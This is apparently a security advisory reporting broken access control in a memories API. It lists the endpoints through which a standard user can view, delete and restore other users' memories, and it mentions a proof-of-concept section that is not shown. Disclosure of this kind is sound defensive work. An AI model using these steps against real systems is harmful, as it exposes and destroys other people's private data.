Summary

Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories.

Details

Using a newly created non-admin user with no existing memories, it is possible to view existing memories via POST /api/v1/memories/query. See below under the PoC section, where a call to GET /api/v1/memories/ returns [] (as expected) but a call to POST /api/v1/memories/query reveals memories created by other users.

Similarly, even if a non-admin user cannot modify another user's memory data via POST /api/v1/memories/{memory_id}/update, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known.

The DELETE /api/v1/memories/{memory_id} can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the POST /api/v1/memories/{memory_id}/update endpoint again.
